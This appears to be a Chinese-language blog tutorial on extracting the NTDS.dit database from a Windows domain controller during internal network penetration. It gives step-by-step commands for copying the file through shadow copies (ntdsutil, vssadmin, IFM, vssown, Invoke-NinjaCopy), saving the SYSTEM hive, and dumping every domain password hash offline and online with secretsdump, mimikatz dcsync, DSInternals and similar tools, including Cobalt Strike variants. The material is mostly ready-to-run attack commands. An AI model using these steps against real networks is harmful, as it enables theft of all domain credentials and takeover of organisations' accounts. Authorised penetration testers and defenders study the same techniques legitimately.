内网渗透--提取域控NTDS

NTDS基础

NTDS.DIT:为DC的数据库,内容有域用户、域组、用户hash等信息,域控上的ntds.dit只有可以登录到域控上的用户(如域管用户、DC本地管理员用户)可以访问,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。

位置:C:\Windows\NTDS

该文件和SAM文件类似,是不能直接读取的,也不能复制

因此如果要读取该文件的内容有一下几种方式:

  1. 离线读取,将NTDS文件复制到攻击者的本地,然后使用工具读取
  2. 在线读取,通过给域控的电脑上传读取的工具,进行在线读取
  3. 远程读取,不需要上线域控,可以通过dcsync远程读取

卷影拷贝技术

方式一:通过ntdsutil工具进行拷贝

  • 本地测试

ntdsutil.exe是一个为活动目录提供管理机制的命令行公具,该工具默认安装在域控服务器上,可以在域控制器上直接操作

 1.创建一个NTDS快照

命令:ntdsutil.exe snapshot "activate instance ntds" create q q

2.加载快照到磁盘中(mount:挂载)

命令:ntdsutil.exe snapshot "mount {f1ed5cfd-c28c-4cf5-8fb8-a5d473b8e880}" q q

3.复制快照中的ntds.dit文件

命令:copy '快照地址\Windows\NTDS\ntds.dit' 目标地址

copy C:\$SNAP_202309231542_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

4.删除快照

命令:ntdsutil.exe snapshot "umount {f1ed5cfd-c28c-4cf5-8fb8-a5d473b8e880}" "delete {f1ed5cfd-c28c-4cf5-8fb8-a5d473b8e880}" q q

  • cs测试

1.创建一个NTDS快照,我这里是Administrator权限,并没有报错(如果这里使用Administrator创建快照报错的话,可以使用令牌将权限切换到system)

命令:ntdsutil.exe snapshot "activate instance ntds" create q q

2.加载快照到磁盘中(mount:挂载)

命令:ntdsutil.exe snapshot "mount {01ff8c71-7f7f-4287-a760-9551b7db6690}" q q

3.复制快照中的ntds.dit文件

命令:copy C:\$SNAP_202309231619_VOLUMEC$\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

4.删除快照

命令:ntdsutil.exe snapshot "umount {01ff8c71-7f7f-4287-a760-9551b7db6690}" "delete {01ff8c71-7f7f-4287-a760-9551b7db6690}" q q

方式二:通过vssadmin工具进行拷贝

  • 本地测试

1.创建一个C盘快照

命令:vssadmin create shadow /for=c:

2.将快照中的NTDS文件复制出来

命令:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

3.删除快照

命令:vssadmin delete shadows /for=c: /quiet

  • cs测试

CS测试和上面步骤差不多

方式三:IFM方式进行拷贝

  • 本地测试

可以通过创建一个IFM的方式获取ntds.dit,在使用ntdsutil创建媒体安装集(IFM)时,需要进行生成快照、加载、将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作

1.创建一个C盘下的快照,首先需要去C盘下创建一个test

命令:ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

此时ntds.dit将被保存在C:\test\Active Directory下,SYSTEM和SECURITY两个文件将被保存在C:\test\registry文件夹下

2.将快照中的NTDS文件复制出来

命令:copy "C:\test\Active Directory\ntds.dit" C:\Users\Administrator\Desktop\ntds.dit

  • CS测试

CS测试与上述步骤差不多

方式四:vssown提取ntds.dit

  • 本地测试

vssown是一个vbs脚本,可以创建和删除卷影副本,使用方式如下:

1.启动卷影复制服务

命令:cscript vssown.vbs /start

2.创建一个C盘下的卷影副本

命令:cscript vssown.vbs /create c

3.列出当前卷影副本

命令:cscript vssown.vbs /list

4.复制文件到指定目录

命令:copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy7\Windows\NTDS\ntds.dit C:\Users\Administrator\Desktop\ntds.dit

  • CS测试

CS测试与上述步骤差不多

其他方式

除了使用卷影拷贝技术外,还有其他方式可以提取NTDS文件

方式一:PS脚本可以直接导出 Copy-VSS.ps1

命令:Import-Module .\Copy-VSS.ps1

Copy-VSS

方式二:Invoke-NinjaCopy

Invoke-NinjaCopy也是PS脚本可以直接导出NTDS和system文件

命令:Import-Module -name .\Invoke-NinjaCopy.ps1

Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administrator\Desktop\ntds.dit"

Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:system.hiv"

离线读取NTDS文件中的Hash值

一般步骤:

  1. 将远端域控的ntds.dit下载到本地
  2. 然后利用工具在本地进行

注意:因为system.hive里存放着ntds.dit的秘钥,所以需要转储system.hive,不然没办法查看ntds.dit里面的内容

命令:reg save hklm\system C:\Users\Administrator\Desktop\system.hive

方式一:secretsdump工具

secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

方式二:NTDSDumpEx工具

命令:NTDSDumpEx.exe -d ntds.dit -s system.hive -o 1.txt

方式三:esedbexport工具

esedbexport是linux下的工具,先要在自己的linux机器上安装建议在python2环境下运行

下载工具包:

./configure

make

make install

ldconfig

提取ntds文件内容

esedbexport -m tables ntds.dit

安装ntdsxtract工具

python setup.py build

python setup.py install

如果提示Import Error:NO module named Crypto.Hash,则需要先执行pip install pycryptodome

将ntds.dit. Export和SYSTEM文件放入到esedbexport工具的文件夹中,然后导出哈希值,最后的结果将保存在txt里

python dsusers.py datatable.4 link_table.7 output --syshive system.hive --passwordhashes --pwdformat ocl--ntoutfile ntout --lmoutfile Imout|tee 1.txt读取用户信息

python dscomputers.py datatable.4 computer_output --csvoutfile 2.csv读取机器信息

方式四:DS Internals工具

DS Internals工具是PS脚本,使用命令如下:

Install-Module DSInternals -Force

Import-Module .\DSInternals

导出hash,并保存在txt文件里

$key=Get-Bootkey -SystemHivePath 'system.hiv'

Get-ADDBAccount -All -DBPath 'ntds.dit' -Bootkey $key | Out-File 1.txt

在线读取NTDS文件Hash值

但是需要考虑:杀软工具、如果域太大读取时间太久容易死机

方式一:MImikatz工具

命令:lsadump::dcsync /domain:abc.com /all /cvs(读取所有)

lsadump::dcsync /domain:abc.com /user:administrator(读取单个用户)

方式二:QuarksPWDump工具

命令:QuarksPWDump.exe --dump-hash-domain --ntds-file ntds.dit

Ntds这个文件需要先导出来

方式三:secretsdump工具

命令:secretsdump.exe 域名/administrator:密码@IP

方式四:Invoke-DCSync.ps1工具

命令:Import-Module .\Invoke-DCSync.ps1

Invoke-DCSync

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值